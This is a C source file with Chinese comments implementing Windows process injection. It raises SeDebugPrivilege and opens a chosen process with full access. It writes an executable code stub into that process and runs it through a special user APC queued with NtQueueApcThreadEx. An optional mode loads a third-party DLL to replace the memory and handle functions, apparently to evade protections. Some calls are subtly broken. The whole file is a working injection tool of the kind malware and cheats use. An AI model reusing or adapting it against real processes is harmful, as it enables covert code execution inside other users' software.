| 插入代码 ```/* * 函数原型: NTSTATUS NtQueueTHreadApcEx( _in HANDLE thread, _in UCHAR flags,0:常规用户APC,1:特殊用户APC _in PAPCFUNC apcRoutine, _in PVOID context1, _in PVOID arg1, _in PVOID arg2 ); 需要从Ntdll.dll模块显式导出(GetProcAddress) */ #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<Windows.h> #include<Tlhelp32.h> #include"fun.h" HWND hwndG = 0; BOOL CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam) { WCHAR path[MAX_PATH] = { 0 }; WCHAR* text = (WCHAR*)lParam; GetWindowText(hwnd, path, MAX_PATH); if (lstrcmpW(text, path) == 0) { hwndG = hwnd; return FALSE; } else { hwndG = 0; return TRUE; } } DWORD WINAPI GetThreadIdByProcessId(DWORD dwProcessId) { THREADENTRY32 th32; th32.dwSize = sizeof(THREADENTRY32); DWORD dwThreadId = 0; HANDLE hdTool = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessId); if (Thread32First(hdTool, &th32)) { do { if (th32.th32OwnerProcessID == dwProcessId) { dwThreadId = th32.th32ThreadID; //printf("%d\n", dwThreadId); break; } } while (Thread32Next(hdTool, &th32)); } else { DWORD dwErro = GetLastError(); //printf("遍历进程失败!——%d", dwErro); return dwErro; } return dwThreadId; } BOOL WINAPI PrivilegeAdjust() { BOOL flag; HANDLE token; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { //printf("打开令牌失败!\n"); flag = FALSE; } LUID pid; if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &pid)) { //printf("查看特权ID失败\n"); flag = FALSE; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = pid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { //printf("提升特权失败!\n"); flag = FALSE; } return TRUE; } typedef BOOL(*MYTYPE)(HANDLE, LPVOID, LPVOID, SIZE_T, SIZE_T*); typedef HANDLE(*OPPS)(DWORD, BOOL, DWORD); typedef BOOL(*WRMEMEX)(HANDLE, LPVOID, LPVOID, SIZE_T, SIZE_T*); typedef HANDLE(*OPTS)(); typedef ULONG64(*GETPEB)(DWORD); typedef NTSTATUS(*NTQUEAPC)(HANDLE, UCHAR, PVOID, PVOID, PVOID, PVOID); WRMEMEX Read; WRMEMEX Write; OPPS OpenPro; OPTS OpenThr; NTQUEAPC NtQueueUserApcEx; VOID InitFrmak() { printf("内核\n"); NtQueueUserApcEx = NULL; HMODULE mod = LoadLibraryA("ApiSystemCall.dll"); Read = (WRMEMEX)GetProcAddress(mod, "YhReadProcessMemory"); Write = (WRMEMEX)GetProcAddress(mod, "YhWriteProcessMemory"); OpenPro = (OPPS)GetProcAddress(mod, "YhOpenProcess"); OpenThr = (OPTS)GetProcAddress(mod, "YhOpenThread"); NtQueueUserApcEx = (NTQUEAPC)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx"); if (NtQueueUserApcEx == NULL) { MessageBoxA(NULL, "获取函数失败", 0, 0); } } VOID InitFrmakEx() { NtQueueUserApcEx = NULL; printf("普通\n"); Read = ReadProcessMemory; Write = WriteProcessMemory; OpenPro = OpenProcess; OpenThr = OpenThread; NtQueueUserApcEx = (NTQUEAPC)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx"); if (NtQueueUserApcEx == NULL) { MessageBoxA(NULL, "获取函数失败", 0, 0); } } typedef VOID(*FUN)(); int main() { DWORD pid; SIZE_T size=0; CONTEXT text; VirtualProtect(fun, 0x60, PAGE_EXECUTE_READWRITE, &pid); *(ULONG64*)(&(((UCHAR*)fun2)[0x34])) = MessageBoxA; *(ULONG64*)(&(((UCHAR*)fun2)[0x9f])) = SetWindowsHookExA; //fun(NULL,NULL,NULL); printf("请输入模式:\n1.普通模式\n2.内核模式\n"); scanf("%d", &size); (size==1)? InitFrmakEx(): InitFrmak(); printf("请输入进程PID:\n"); scanf("%d", &pid); PrivilegeAdjust(); HANDLE hd = OpenPro(PROCESS_ALL_ACCESS, FALSE, pid); PVOID mem = VirtualAllocEx(hd, NULL, 0X1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD tid = GetThreadIdByProcessId(pid); HANDLE td; if (size == 1) { td = OpenThr(THREAD_ALL_ACCESS,FALSE,tid); } else { td = OpenThr(tid, hd, THREAD_ALL_ACCESS, FALSE); } if (!Write(hd, mem, fun2, 0x100, &size)) { MessageBoxA(0, "写入失败", 0, 0); } SuspendThread(td); NTSTATUS code = NtQueueUserApcEx(td, 1, (PVOID)(((ULONG64)mem)+0x53), tid, 0, 0); if(code!=0) { printf("%x\n", code); MessageBox(0, 0, 0, 0); } ResumeThread(td); system("pause"); return 0; } |